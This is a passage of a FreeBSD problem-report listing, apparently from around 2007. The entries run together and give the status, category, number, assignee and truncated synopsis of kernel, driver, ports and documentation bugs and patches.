yongari [fxp] fxp looses ability to speak with traffic o ports/114813 lioux [new port] finance/qtstalker-devel o kern/114808 [panic] Kernel panic when use USB SpeedTouch ADSL mode o kern/114780 usb [uplcom] [panic] Panics while stress testing the uplco o kern/114760 multimedia [snd_cmi] snd_cmi driver causing sporadic system hangs s ports/114725 portmgr bsd.port.mk - No dependencies in the package if there o kern/114714 thompsa [gre] [patch] gre(4) is not MPSAFE and does not suppor o usb/114682 usb [umass] generic USB media-card reader unusable o kern/114677 [drm] Xorg will not run with dri glx and drm on ATI Ra o kern/114676 fs [ufs] snapshot creation panics: snapacct_ufs2: bad blo o kern/114667 [umass] UMASS device error log problem p kern/114655 bushman Implement getgroupmembership in net/nss_ldap p kern/114646 firewire [firewire] [patch] firewire fails after suspend/resume o java/114644 java tomcat goes out of PermSpace, jvm crashes o stand/114633 linimon /etc/rc.subr: line 511: omits a quotation mark: "force f kern/114631 yongari [msk] "Tx descriptor error" with Marvell Yukon o ports/114611 edwin [NEW PORT] net-p2p/freenet05: An anonymous censorship- o kern/114597 scsi [sym] System hangs at SCSI bus reset with dual HBAs s kern/114578 [libc] wide character printing using swprintf(dst, n, o kern/114567 pf [pf] [lor] pf_ioctl.c + if.c o i386/114562 acpi [acpi] cardbus is dead after s3 on Thinkpad T43 with a o kern/114550 [cbb] Cardbus WiFi card activation problem o kern/114546 [drm] [panic] Sleeping thread owns a non-sleepable loc o kern/114532 geom [geom] GEOM_MIRROR shows up in kldstat even if compile f ports/114509 girgen [UPDATE]: java/eclipse-cdt to 4.0 o kern/114506 [nfs] nfs_readdirrpc doesn't use copyout to write out o kern/114492 [kernel] [patch] device_attach() doesn't unset devclas o kern/114489 scottl [aic] [panic] _mtx_lock_sleep: in aic7xxx_osm.h (with o bin/114468 fs [patch] [request] add -d option to umount(8) to detach o bin/114465 [patch] [request] script(1): add really cool -d, -p & o kern/114459 [aic] [panic] FreeBSD-CURRENT crash during boot with A o kern/114451 [nfs] [patch] prevent NFS server possible crash o kern/114438 [amr] Anomalous performance with multiple arrays and a o kern/114406 [drm] ATI Radeon Mobility X600 not supported by agp de s bin/114392 [request] add default ssl definitions for openssl(1) o docs/114371 doc [patch] [ip6] rtadvd.con(5) should show how to adverti o ports/114365 edwin New port: net-mgmt/nagiosgrapher o sparc/114349 kuriyama When executing snmpd it immediately stops with a segme f kern/114331 vanhu [crypto] [patch] VIA padlock freesession bug p kern/114325 bz [jail] SIOCGIFADDR ioctl behaves incorrectly inside ja o usb/114310 usb [libusb] [patch] [panic] USB hub attachment panics ker o kern/114291 kmacy [RFE] [modules] [patch] add dynamic module references o amd64/114270 amd64 [cpufreq] cpufreq doesnt work when compiled in to kern p kern/114237 csjp [lor] kernel lock o ports/114231 edwin [patch] multimedia/audacious-plugins - audacious/plugi f ports/114229 nork [patch] [www/linuxpluginwrapper] libmap.conf-FreeBSD6 o kern/114213 [ata] optical drive not detected in the 6.x series of o i386/114208 i386 [boot] Problem booting the FreeBSD CD ISO image o i386/114192 i386 Fail to boot with "error issuing ATA_IDENTIFY command" o docs/114184 doc [patch] [ndis]: add info to man 4 ndis o ports/114167 portmgr [patch] bsd.port.mk - ignoring major numbers in LIB_DE o kern/114165 acpi [acpi] Dell C810 - ACPI problem o kern/114155 [ptrace] sigsuspend gets interrupted by ptrace o docs/114139 doc mbuf(9) has misleading comments on M_DONTWAIT and M_TR o bin/114129 mux [patch] csup(1) doesn't support authentication o ports/114122 timur New port: russian/stardict2-dict-eng_RU, Russian dicti o kern/114111 [nfs] System crashes while writing on NFS-mounted shar o ports/114106 mail/postgrey does not properly shut down via rc.d scr p conf/114101 se [patch] Add ZFS to periodic locate run o ports/114096 steve Upgrade x11-toolkits/open-motif to OM 2.3 o kern/114095 pf [carp] carp+pf delay with high state limit o bin/114082 [make.conf] default CFLAGS have a blank at the end o bin/114081 bz [patch] [ppp] ppp(8) should be able to set ethernet ad o usb/114068 usb [umass] [patch] Problems with connection of the umass o bin/114059 [patch] shutdown(8) should fall back to exec reboot/ha o kern/114057 [devfs] devfs symlink over device doesn't work o conf/114013 usb [patch] WITHOUT_USB allow to compil a lot of USB stuff o bin/113979 matteo [patch] sysinstall(8) does not support UFS1 filesystem s usb/113977 usb [request] Need a way to set mode of USB disk's write c o kern/113957 geom [gmirror] gmirror is intermittently reporting a degrad s kern/113950 multimedia [sound] [patch] [request] add per-vchan mixer support o conf/113915 rc [patch] ndis wireless driver fails to associate when i o conf/113913 [patch] [requst] new file /etc/periodic/daily/490.stat o bin/113912 tunefs(8): silent failure setting glabel on boot parti o kern/113895 net [xl] xl0 fails on 6.2-RELEASE but worked fine on 5.5-R o kern/113885 geom [gmirror] [patch] improved gmirror balance algorithm o bin/113881 [patch] sysctl(8): Wrong memory usage o kern/113856 [patch] [plip] PLIP (parallel port IP) dead on 6.2, de o i386/113853 FreeBSD 6.2-RELEASE Crashes and Reboots on i386 o kern/113852 fs [smbfs] smbfs does not properly implement DFS referral o kern/113851 [boot] Unable to boot install cd from USB-CDROM o bin/113850 sshd(8): unable to debug sshd with strace/truss/gdb o kern/113849 [libdisk] [patch] Correction of Sanitize_Bios_Geom for a kern/113842 bz [ip6] PF_INET6 proto domain state can't be cleared wit o bin/113838 fs [patch] [request] mount(8): add support for relative p o kern/113837 geom [geom] unable to access 1024 sector size storage o bin/113825 [patch] [libc] [ggated] Fix -STABLE build with -fno-st o docs/113803 ipfw [patch] ipfw(8) - don't get bitten by the fwd rule o kern/113785 firewire [firewire] dropouts when playing DV on firewire o ports/113751 java java/linux-sun-jdk15: linux-sun-jdk-1.5.0.12,2 - java o ports/113707 girgen databases/postgresql81-server - PostgreSQL RC start sc o bin/113702 krion [patch] bad output from "pkginfo -g" o bin/113682 [patch] sysinstall(8) warns for invalid geometry which o usb/113672 usb [ehci] [panic] Kernel panic with AEWIN CB6971 o bin/113669 ftpchroot(5) / ftpusers(5) doesn't do globbing s usb/113629 usb [ukbd] Dropped USB keyboard events on Dell Latitude D6 o sparc/113556 sparc64 [panic] trap: memory address not aligned; Rebooting... o conf/113552 [request] ntpd(8) driftfile default location inconsist o bin/113518 [patch] make(1): Prevent execution when command is a c o kern/113478 [boot] [request] FreeBSD could not start on Core2Duo n o ports/113467 java Multiple "missing return value" errors building JDK on s bin/113456 [request] gpt(8) does not allow changing partition tab o kern/113439 [panic] 6.2 Kernel Panic o usb/113432 usb [ucom] WARNING: attempt to net_add_domain(netgraph) af f kern/113427 yongari [fxp] fxp0: device timeout when writing to USB and pla o kern/113419 geom [geom] geom fox multipathing not failing back o bin/113398 [libc] [patch] initgroups fails rather than truncates p kern/113388 ipfw [ipfw] [patch] Addition actions with rules within spec o bin/113345 mux csup(1) broken: Updater failed: Bad diff from server o gnu/113343 [patch] grep(1) outputs NOT-matched lines (with multi- o gnu/113338 gcc(1): GNU gcc __thread as class member o ports/113295 kde net-im/kopete: pleawse add 'make config' to choose kop p kern/113266 harti [libgssapi] [patch] Missing handling of mech_type in g o conf/113265 [patch] Add registered epmd port number to etc/service o ports/113264 ale databases/mysql51-server compilation doesn't allow for o kern/113256 [headers] _limits.h for some CPU has wrong definitions o bin/113239 [patch] atrun(8) loses jobs due to race condition o bin/113230 des [pam] [patch] const-ify PAM-headers o docs/113194 doc [patch] [request] crontab.5: handling of day-in-month o kern/113180 fs [zfs] Setting ZFS nfsshare property does not cause inh o kern/113138 [irq] interrupt storm on 6.x kernels on an MS-1029 (AM o conf/113117 linimon [iwi] if_iwi isn't present in today's CURRENT/AMD64 o i386/113110 i386 [mk] [patch] i686 is not an alias of pentiumpro on GCC o ia64/113102 ia64 [MCA] Multiple records can have the same sequence numb f ports/113099 tmclaugh [PATCH] sysutils/libchk may skip $X11BASE now o kern/113098 [amr] Cannot read from amrd while under heavy load o ports/113096 edwin [patch] x11/xorg - X.org manpages broken o bin/113074 [patch] ppp(8): include for strcasecmp(3) a usb/113060 usb [usbdevs] [patch] Samsung printer not working in bidir o bin/113049 fs [patch] [request] make quot(8) use getopt(3) and show o conf/112997 [patch] Add note about the 'native' mtune option to sh p bin/112955 des [patch] login(1): add netgroup support back to pam_log o usb/112944 usb [ulpt] [patch] Bi-directional access to HP LaserJet 10 o kern/112938 [headers] [patch] utmp.h is too limiting for modern sy o kern/112937 jfv [em] Panic in em(4) when issuing a SIOCGIFADDR ioctl p docs/112935 remko [patch] newfs_msdos(8): document 4.3g limit on files w o ports/112818 sem ports-mgmt/portupgrade -a fails with database error o docs/112804 doc groff(1) command should be called to explicitly use "p o bin/112794 [patch] [request] pam_exec(8): allow pam_exec to expor o kern/112775 [libmd] [patch] libmd(3) bug for some zero-length file o bin/112757 sysinstall(8): sysinstall(8): in the FDISK tool we can o ports/112745 portmgr bsd.port.mk: Add a package-smart target o kern/112722 net [ipsec] [udp] IP v4 udp fragmented packet reject o kern/112708 ipfw [ipfw] ipfw is seems to be broken to limit number of c o kern/112707 [panic] 6.2-STABLE panic: spoiling cp->ace = 3 o kern/112702 jfv [em] em driver doesn't use MSI on MSI capable device o i386/112700 i386 SMP Kernel with FreeBSD 6.2 release on compaq dl360 g1 a bin/112694 [patch] segfault in pam_lastlog(8) on sshd exit when n o kern/112686 net [patm] patm driver freezes System (FreeBSD 6.2-p4) i38 o docs/112682 doc Handbook GEOM_GPT explanation does not provide accurat o bin/112674 calendar(1): There appears to be a bug in /usr/bin/cal o bin/112673 [patch] pkg_add(1): pkg_add -S leaks the temp dir o kern/112658 fs [smbfs] [patch] smbfs and caching problems (resolves b o usb/112640 usb [usb] [hang] Kernel freezes when writing a file to an o i386/112635 i386 [hang] [loader] Hang during boot installation o usb/112631 usb [panic] Problem with SONY DSC-S80 camera on umount a bin/112613 vwe ls(1): 'ls -l' is very slow or doesn't work at all o kern/112612 andre [lo] Traffic via additional lo(4) interface shows up o o ports/112607 lwhsu New port: devel/openldev A graphical front-end g++/gcc o java/112595 java Java appletviewer frequently hangs (kse_release loop) f kern/112591 linimon Non-monitored locks are dummy-implemented o i386/112580 i386 [boot] BTX Halted on HP DV6255 Notebook o docs/112579 mlaier [request] No ipv6 related pf examples in /usr/share/ex o kern/112570 net [bge] packet loss with bge driver on BCM5704 chipset s usb/112568 usb [umass] [request] USB mode may wrong when mounting Pla o kern/112561 ipfw [ipfw] ipfw fwd does not work with some TCP packets o conf/112558 [patch] /etc/periodic/daily/200.backup-passwd poor han o bin/112557 net [patch] ppp(8) lock file should not use symlink name o bin/112556 [patch]: sysctl(8) needs to fix multi-lineal descripti p kern/112554 silby [kernel] [patch] unp_gc is overly agressive and remove s kern/112544 acpi [acpi] [patch] Add High Precision Event Timer Driver f o kern/112528 net [nfs] NFS over TCP under load hangs with "impossible p o ports/112497 portmgr Mk/bsd.port.mk: make ldconfig permanent for non-defaul o i386/112487 i386 [sio] kernel panic on swi0:sio o kern/112477 marius [ofw] [patch] Add support to set the node and type on o usb/112463 usb [umass] problem with Samsung USB DVD writer, libscg an o usb/112461 usb [ehci] [request] ehci USB 2.0 doesn't work on nforce4 o conf/112441 deprecated lines in /etc/hosts.allow o bin/112408 mp [regression] tcsh(1): tcsh causes gdb to hang (regress o bin/112379 [patch] [request] lockf(1): on closing stdin, stdout, o bin/112370 getfacl(1): incorrect display group name by ``getfacl' p ports/112347 obrien [PATCH] editors/vim re-enable WITH_TCL o bin/112336 [patch] install(1): install -S (safe copy) with -C or o bin/112288 ftp(1): /usr/src/usr.bin/ftp/config.h is redundant and o kern/112282 [ata] atacontrol(8): changing DMA modes when disk is r o kern/112256 [hang] SC_PIXEL_MODE hangs system o amd64/112222 amd64 [libc] 32-bit libc incorrectly converts some FP number s gnu/112215 obrien [patch] gcc(1): "gcc -m32" attempts to link against 64 o bin/112213 [patch] touch(1)ing a directory and failing yields ret o kern/112181 [panic] Kernel Panic on HP DL320-G5 Running 6.2-STABLE o kern/112160 [pppd] uplink DSL w/pppoe+NAT 'out of buffer space' ki o kern/112053 [hang] deadlock with almost full filesystem and rtorre o i386/112036 i386 [ata] TIMEOUT - WRITE_DMA retrying, TIMEOUT - READ_DMA f amd64/111994 jkoshy [hwpmc] [request] hwpmc(3) doesn't know about Intel 51 f kern/111990 [pccbb] [patch] system freeze in initialization proces o bin/111978 [patch] [request] make syspath list for mount(8) confi o kern/111967 [geli] glabel - label is seemingly not written to disk o kern/111848 [nfs] removing a file from a diskless nfs mounted root o kern/111843 fs [msdosfs] Long Names of files are incorrectly created f bin/111835 fstat(1) fails to report certain files s www/111791 www FreeBSD website messes up while using "links" browser o kern/111782 fs [ufs] dump(8) fails horribly for large filesystems o kern/111767 multimedia [sound] ATI SB450 High Definition Audio Controller sou o kern/111766 [panic] "panic: ffs_blkfree: freeing free block" durin o usb/111753 usb [uhid] [panic] Replicable system panic involving UHID o conf/111557 [gre] link1 flag doesn't work as intended when specifi o kern/111537 kmacy [inet6] [patch] ip6_input() treats mbuf cluster wrong o ports/111501 [NEW PORT] databases/ruby-oci8 o bin/111493 [patch] routed(8) doesn't use multicasts for RIPv2 via o kern/111457 net [ral] ral(4) freeze o docs/111425 doc Missing chunks of text in historical manpages o ports/111399 doceng print/ghostscript8 (was ghostscript-gpl): WITH_FT_BRID a ports/111356 csjp net/bpfstat: man bpfstat has no descption for the flag o bin/111343 sh(1) and bash(1) with -e sometimes fail to test error o power/111296 ppc [kernel] [patch] [request] Support IMISS, DLMISS an DS o docs/111265 doc [request] Clarify how to set common shell variables p kern/111260 csjp [hang] FreeBSD kernel dead lock and a solution o www/111228 bugmeister [request] Usability improvements for bug search query o bin/111226 [patch] Incorrect usage of chflags() in various FreeBS o kern/111220 pf [pf] repeatable hangs while manipulating pf tables o kern/111196 [ata] [hang] SATA drives cause errors and cause system o kern/111185 console color depth set to 0 at boot causes flat scree o kern/111162 [nfs] nfs_getpages does not restart interrupted system o docs/111147 doc hostapd.conf is not documented s bin/111146 fs [2tb] fsck(8) fails on 6T filesystem o bin/111077 date(1): /bin/date -j -f "%b %Y" "Feb 2007" +%m return o ports/111066 secteam ports-mgmt/portaudit does not skip ports fixed listed o bin/111024 [request] [patch] atacontrol(8): support for stand-by p kern/111023 mav [ata] [request] [patch] please expand ata timeouts s kern/111001 [hang] can't install 6.2-RELEASE-amd64 (SuperMicro PDS o docs/110999 doc carp(4) should document unsupported interface types o kern/110995 kmacy [loader] [patch] loader wastes space worth symtab size o conf/110993 [patch] /etc/netstart should start rpcbind o gnu/110971 gdb(1) crashes f kern/110959 bz [ipsec] Filtering incoming packets with enc0 does not o kern/110915 rwatson [acl] ACL's don't work with SUIDDIR o java/110912 java Java krb5 client leaks UDP connections o bin/110887 [patch] truss(1) missing linux_access syscall descript o usb/110856 usb [ugen] [patch] interrupt in msgs are truncated when bu o kern/110847 scsi [ahd] Tyan U320 onboard problem with more than 3 disks s conf/110838 pf [pf] tagged parameter on nat not working on FreeBSD 5. s ports/110826 dinoex port graphics/tiff: tiff2pdf tints images with wrong c f kern/110720 kmacy [net] [patch] [request] support for interface descript p bin/110705 geom gmirror(8) control utility does not exit with correct o docs/110692 doc wi(4) man page doesn't say WPA is not supported p kern/110662 sam [safe] safenet driver causes kernel panic o threa/110636 threads [request] gdb(1): using gdb with multi thread applicat o amd64/110599 amd64 [geli] geli attach to gmirror device hangs and cannot o ports/110533 olgeni [patch] WITHOUT_NLS support for www/neon and www/sitec o kern/110407 [ata] ATA drivers not recognizing Seagate CF Microdriv o kern/110392 scottl [hptmv] [patch] hptmv very old and missing important f o docs/110376 doc [patch] add some more explanations for the iwi/ipw fir o docs/110359 brueffer mpt man page omission o threa/110306 threads apache 2.0 segmentation violation when calling gethost o kern/110284 kmacy [if_ethersubr] [patch] Invalid Assumption in SIOCSIFAD o docs/110253 doc [patch] rtprio(1): remove processing starvation commen o kern/110249 kmacy [kernel] [regression] [patch] setsockopt() error regre o i386/110218 i386 kmem_malloc(4096): kmem_map too small: 335544320 total o i386/110214 i386 [hang] FreeBSD 6.2 freezes on SSH activitiy caused by o kern/110199 jmg [kqueue] [patch] kqueue_register doesn't update the kn o usb/110197 usb [umass] Sony PSP umass device does not detach from EHC o bin/110151 sysinstall(8): sysinstall(8) don't respects install ro o bin/110146 [patch] [request] Allow arbitrary gdb(1) options to by o kern/110140 net [ipw] ipw fails under load o kern/110110 [hang] sysctl causing a lockup o bin/110068 [patch] rewrite of mdmfs(8) in shell o kern/110065 [wi]: wi device cannot attach to D-Link DWL-520 rev. E o docs/110062 doc [patch] mount_nfs(8) fails to mention a failure condit o docs/110061 doc [patch] tuning(7) missing reference to vfs.read_max o kern/110017 [libexec] [patch] serial port console output garbled o docs/109981 doc No manual entry for post-grohtml o conf/109980 rc /etc/rc.d/netif restart doesn't destroy cloned_interfa o docs/109977 doc No manual entry for ksu p docs/109975 trhodes No manual entry for elf2aout o docs/109973 doc No manual entry for c++filt o docs/109972 doc No manual entry for zless/bzless o kern/109968 [boot] [panic] Panic while booting with PCscsi II AM53 o kern/109936 [smp] SMP kernel performance problem on FSC TX600 o bin/109911 mountd(8) does not accept identical host sets on diffe o kern/109889 [panic] 6-STABLE panic kern_timeout.c o bin/109827 mount_smbfs(8) didn't handle password authentication c o kern/109813 [ciss] ciss(4) driver API header is not installed o kern/109809 [vmware] CPU hits 100% when issuing the halt command ( o kern/109762 [hang] deadlock in g_down -> ahd_action -> contigmallo o ports/109745 kris NO_PACKAGE handling by ports build system o kern/109743 [sio] The sio(4) driver appears to be getting the seri o kern/109736 [ata] FreeBSD sysinstall from CD can't find & mount NE o kern/109733 net [bge] bge link state issues [regression] o docs/109612 remko Manuals that live in ARCH specific subdirectories are o i386/109610 i386 [panic] Fatal trap 12: page fault while in kernel mode p amd64/109584 edwin [patch] zdump(8) doesn't work a ports/109580 glewis [patch] math/gnuplot does not include bsd.emacs.mk whe o bin/109569 mail(1) command not parsing sendmail parameters o i386/109568 i386 [panic] Reboot server with "Fatal trap 12" p bin/109567 delphij gzip(1) does not detect my packed file o conf/109562 rc [rc.d] [patch] [request] Make rc.d/devfs usable from c o ports/109550 python lang/python25 does not install /usr/local/bin/python o bin/109521 [patch] chio(1): 'chio return' breaks on non-voltag ch o ports/109501 krion [PATCH] add some configurable vars to mail/exim o bin/109478 [libc] [patch] adopt reentrant syslog functions from O a kern/109477 yongari [vr] [patch] onboard via vt6103 ethernet does not work o kern/109470 net [wi] Orinoco Classic Gold PC Card Can't Channel Hop o i386/109423 i386 [ichsmb] ICH5 smb interface problems o kern/109416 des [libpam] [patch] pam_group doesn't check login_group m o bin/109413 jhb [patch] top(1) shows at least 50% idle when hyperthrea o kern/109406 thompsa [ndis] Broadcom WLAN driver 4.100.15.5 doesn't work wi o usb/109397 usb [panic] on boot from USB flash o kern/109377 daichi [unionfs] unionfs crashes if underlying file system fo f conf/109367 i18n [locale] UTF8 encoded locales and problem collating ac o conf/109354 [request] /etc/periodic/daily/110.clean-tmps does not o bin/109334 pkg_add(1) using chroot exits with error if wrong dire o kern/109308 net [pppd] [panic] Multiple panics kernel ppp suspected [r o kern/109277 [pppd] [patch] : kernel ppp(4) botches clist reservati o usb/109274 usb [usb] MCP55 USB Controller fails to attach in AMD64 Cu o conf/109272 [request] increase default rc shutdown timeout o kern/109251 net [re] [patch] if_re cardbus card won't attach o kern/109232 imp [sio] [patch] ibufsize calculation wrong causing data o kern/109227 [ral] ral(4) driver doesn't handle correctly RT2561C P f docs/109226 doc [request] No manual entry for sntp o docs/109201 doc [request]: manual for callbootd s i386/109200 i386 [ata] READ_UDMA UDMA ICRC error cause not detecting ca o kern/109161 philip [psm] synaptic touchpad doesn't work o docs/109105 trhodes security.mac.bsdextended.firstmatch_enabled is not ena o docs/109104 trhodes man mac_bsdextended is not consistent with systl outpu o bin/109102 csjp sysctl security.mac.bsdextended is not consistent with o kern/109024 fs [msdosfs] mount_msdosfs: msdosfs_iconv: Operation not o kern/109010 fs [msdosfs] can't mv directory within fat32 file system o docs/109008 csjp [patch] add summary of kern/48198 to jexec(8) a docs/108980 doc list of missing man pages o kern/108968 [panic] Double mount then umount and ls resuits in pan s bin/108961 vwe ls(1) High CPU use on directories containing files wit o kern/108954 acpi [acpi] 'sleep(1)' sleeps >1 seconds when speedstep (Cx o kern/108924 [ar] Panics when Intel MatrixRAID RAID1 is degraded o bin/108895 net pppd(8): PPPoE dead connections on 6.2 [regression] s amd64/108861 amd64 [nve] nve(4) driver on FreeBSD 6.2 AMD64 does not work o kern/108829 [radeon] radeon module fails with thinkpad T43 o ports/108795 ports/icc: Proposed update to icc port for intel compi s bin/108743 vwe [patch] who(1): IPv6 addresses truncated to maximum IP f sparc/108732 sparc64 ping(8) reports 14 digit time on sparc64 o kern/108695 acpi [acpi]: Fatal trap 9: general protection fault when in o kern/108670 silby [tcp] TCP connection ETIMEDOUT o kern/108659 [psm] Mouse (Synaptics touchpad) cursor freezes for so o bin/108656 [patch] Segfault of sshd(8) for unknown user when priv o kern/108655 messages from kernel are mixed (/dev/klog? syslog?) o kern/108651 [hang] option PREEMPTION causes machine hangs on TYAN o conf/108589 rc rtsol(8) fails due to default ipfw rules o ports/108570 girgen databases/postgresql82-server fails when PREFIX is set o kern/108542 net [bce] Huge network latencies with 6.2-RELEASE / STABLE p bin/108523 trhodes [patch] daemon(8): support for dropping privileges s ports/108514 portmgr [feature request] Automatic registering of UID and GID o usb/108513 usb [umass] Creative MuVo TX FM fails in 6.2-RELEASE [regr o kern/108488 acpi [acpi] ACPI-1304: *** Error: Method execution failed o kern/108485 [re] stress2-udp with realtek 8169S gigabit interface o bin/108462 [request] pkg_info(1) shouldn't have a hard width limi s kern/108442 [request] UTF-8 support for console o kern/108418 [panic] Kernel panic after killing kdm. o kern/108379 [ata] Secondary SATA drive not detected by FreeBSD 6.2 p bin/108368 [patch] tip(1) coredumped when 'du' capability is used o kern/108361 [lpt] lpt0: device busy with HP 710c parallel printer s usb/108344 usb [panic] kernel with atausb panics when unplugging USB f ports/108313 openoffice editors/openoffice.org port build fails o kern/108202 [atapicam] atapicam error after upgrade to 6.2 [regres f kern/108197 jinmei [panic] [gif] [ip6] if_delmulti reference counting pan o bin/108191 matteo sysinstall(8): Disklabel editor help text (by F1 key) o i386/108185 i386 [panic] freebsd 6.2 fatal kernel trap o ports/108169 apache www/apache20 wrong AP_SAFE_PATH for suEXEC s ports/108153 portmgr ports extraction with package uid/gid and quota proble o kern/108133 jmg [bktr] [patch] bktr driver doesn't recognize Hauppauge o bin/108118 [libc] files should not cache their EOF status o docs/108101 doc /boot/default/loader.conf contains an incorrect commen o kern/108100 [ktr] sysctl debug.ktr.alq_enable=1 results in reboot o usb/108056 usb [ohci] Mouse gets powered off during device probe when o bin/108033 ls(1) coredumps when nss/ldap is misconfigured o bin/108020 comsat(8) does not verify return values of getpwnam an o kern/108017 acpi [acpi]: Acer Aspire 5600 o kern/107944 net [wi] [patch] Forget to unlock mutex-locks o usb/107935 usb [uplcom] [panic] panic while accessing /dev/cuaU0 o usb/107924 usb [patch] usbd(8) does not call detach o kern/107850 net [bce] bce driver link negotiation is faulty o usb/107848 usb [umass] [request] cannot access Samsung flash disk o bin/107830 fdisk(8): Change Units (Z) in fdisk doesn't work when o bin/107829 fs [2TB] fdisk(8): invalid boundary checking in fdisk / w o usb/107827 usb [ohci] [panic] ohci_add_done addr not found o ports/107816 roam [patch] The IPv6 patch breaks the location feature of s ports/107814 joerg mail/postfix uses wrong order of -I options s kern/107759 Unable to load a kernel after clean install o kern/107707 geom [geom] [patch] [request] add new class geom_xbox360 to o bin/107692 newfs(8): newfs -O 1 doesn't create consistent filesys o amd64/107639 [ata] Kernel Panic/Crash on dd if=/dev/ad4 of=/dev/ad6 o kern/107622 [ata] can't boot on HP Pavilion dv6000 / problem with o kern/107608 [twa] [hang] Raid Problem beim Zugriff auf Raid o i386/107564 i386 [install] fatal trap 19 during installation on a Dell p stand/107561 standards [libc] [patch] [request] Missing SUS function tcgetsid o kern/107516 multimedia [snd_emu10k1] - skips, clicks and lag after a day of h o bin/107515 [patch] ls(1) bug o usb/107496 usb [uhub] USB device problem on RELENG_6_2 (SHORT_XFER) [ f kern/107446 gavin problems with usb and fw disks o usb/107388 usb [new driver] [patch] add utoppy device from NetBSD o i386/107382 i386 [install] "Fatal trap 12" when installing FreeBSD 6.1 o ports/107354 edwin net/icmpinfo: icmpinfo -vvv does not recocnize any ICM o kern/107342 [dri] Radeon dri breaks system o kern/107305 ipfw [ipfw] ipfw fwd doesn't seem to work f kern/107292 [ata] cannot install - Unable to find device /dev/ad0s f www/107291 murray Keyboard accessibility sabotaged by www/share/sgml/hea f kern/107287 [ata] page fault during install on Intel SATA on Intel o kern/107285 [panic] freeze and reboot by mounting CDROM volume twi o kern/107279 [ath] panic: ath_start: attempted use of a free mbuf! o kern/107277 [panic] bus_dmamap_load_mbuf_sg o usb/107248 usb [umass] [patch] scsi_da.c quirk for Cowon iAUDIO X5 MP o usb/107243 usb [cam] [patch] Apacer USB Flash Drive quirk f ports/107229 openoffice sysutils/coreutils: gcp fails to set default ACL which o kern/107206 [arcmsr] Background fsck causes kernel panic with arcm o bin/107171 [patch] [ncurses] systat(1) doesn't die when it's xter o kern/107154 [pam] pam.d/sshd pam_ssh.so doesn't start ssh-agent s sparc/107087 sparc64 [hang] system is hung during boot from CD o kern/107051 multimedia [sound] only 2 channels output works for the ALC850 (o o conf/107035 net [patch] bridge(8): bridge interface given in rc.conf n o kern/106924 acpi [acpi] ACPI resume returns g_vfs_done() errors and ker f amd64/106918 yongari [re] Asus P5B with internal RealTek PCIe Ethernet gets o docs/106916 chinsan Wrong tar command at topic 17.6.8 in Handbook o bin/106872 [patch] [request] extattr support for find(1) o usb/106861 usb [usbdevs] [patch]: usbdevs update: Add product ACER Ze o kern/106851 [vge] vge0: MII read timed out [regression] o i386/106850 i386 [powerd] powernow0 attach returned 6 s ports/106848 portmgr [PATCH] Mk/bsd.port.mk -- Add support to remove locale s usb/106832 usb [usb] USB HP printer is not detected by kernel when AC o i386/106789 i386 [nfe] or [nve]: Internal NIC of GA-K8N51GMF-RH does no o kern/106786 No reboot with FreeBSD and Mylex Acceleraid 352 f kern/106783 trasz [fdc] umount of a floppy disk results in a reboot o bin/106734 [patch] [request] bzip2(1): SSE2 optimization for bzip o bin/106726 ntpd(8): ntp functions return wrong values o kern/106722 glebius [net] [patch] ifconfig may not connect an interface to p bin/106674 mav atacontrol(8): "atacontrol attach" doesn't work with S o usb/106648 usb [umass] [hang] USB Floppy on D1950 10 min Hang on Inse o kern/106646 [nfs] [patch] Pointer incorrectly cast to ulong o kern/106645 [uart] [patch] uart device description in 7-CURRENT is o kern/106632 trhodes [msdosfs] gimp destroys files on fat32 upon opening o usb/106621 usb [axe] [patch] DLINK DUB-E100 support broken s ports/106616 portmgr bsd.port.mk: Default file modes set incorrect for non- o usb/106615 usb [uftdi] uftdi module does not automatically load with p kern/106496 kris [softupdates] Can't remount filesystem as read only af o i386/106493 ru [patch] pxeboot(8) uses /pxeroot instead of / o kern/106490 [atapicam] atapicam fails with ATAPI-CD/DVD drives att o ports/106483 portmgr [patch] embed distfile information in +CONTENTS o kern/106444 [netgraph] Kernel Panic on Binding to an ip to a virtu o kern/106438 net [ipf] ipfilter: keep state does not seem to allow repl o kern/106432 [ata] Record of disks (DVD-R) through the k3b program o bin/106431 [patch] atacontrol(8): Inform user of ata RAID5 acting o bin/106355 [headers] macros in stdio.h non-portable (e.g., C++ :: s kern/106340 [ata] [request] Need to control disk write cache on pe o kern/106316 net [dummynet] dummynet with multipass ipfw drops packets o kern/106275 [hifn] Hifn 7955 on Soekris Engineering vpn1401 return o kern/106255 trhodes [msdosfs] [patch]: correct setting of archive flag o kern/106243 net [nve] double fault panic in if_nve.c on high loads o amd64/106186 amd64 [panic] panic in swap_pager_swap_init (amd64/smp/6.2-p o docs/106135 doc [request] articles/vinum needs to be updated o misc/106107 left-over fsck_snapshot after unfinished background fs p bin/106049 [patch] tftpd(8) - improve -w option to support unique o usb/106041 usb [usb] [request] FreeBSD does not recognise Mustek Bear o kern/106030 fs [ufs] [panic] panic in ufs from geom when a dead disk o kern/106028 [pxeboot] tftp inside pxeboot isn't initialised proper o conf/106009 rc [ppp] [patch] [request] Fix pppoed startup script to p p docs/105997 trhodes sys/kern/sys_pipe.c refer to tuning(7), but there is n o kern/105945 net Address can disappear from network interface s kern/105943 net Network stack may modify read-only mbuf chain copies o bin/105925 net problems with ifconfig(8) and vlan(4) [regression] o bin/105860 top(1) user ID misalignment in mixer username/uid mode o conf/105689 rc [ppp] [request] syslogd starts too late at boot o bin/105614 [patch] setkey(8): Creating NULL encryption ESP SAs wi o docs/105608 doc fdc(4) debugging description staled o kern/105604 [bktr] [patch] add support for Pixelview PlayTV Pro 2 o kern/105579 piso [libalias] dcc resume over natd in 6.x o conf/105568 rc [patch] [request] Add more flexibility to rc.conf, to o kern/105539 newly added disk devices don't have slice-devices crea o kern/105537 acpi [acpi] problems in acpi on HP Compaq nc6320 s kern/105533 [ahd] adaptec 29320 causes panic with over 4GB f amd64/105531 amd64 [ata] gigabyte GA-M51GM-S2G / nVidia nForce 430 - does f amd64/105514 amd64 [boot] FreeBSD/amd64 - Fails to boot on HP Pavilion dv o kern/105500 SCSI install on Microsoft Virtual Server 2005 doesn't f java/105482 java diablo-jdk1.5.0/jdk-1.5.0 java.nio.Selector bug o docs/105456 keramida [patch] overhaul of the security chapter (14) o kern/105375 yongari [sk] 2 x Marvell GBit LAN: device sk0 is attached, but o kern/105368 [geli] geli passphrase prompt malfunctioning when moun o usb/105361 usb [panic] Kernel panic during unmounting mass storage (C o kern/105348 net [ath] ath device stopps TX o bin/105341 [libpam] [patch] [request] pam_krb5: Add minimum_uid/m o www/105333 www [patch] Base selection in events in libcommon.xsl does o kern/105330 ipfw [ipfw] [patch] 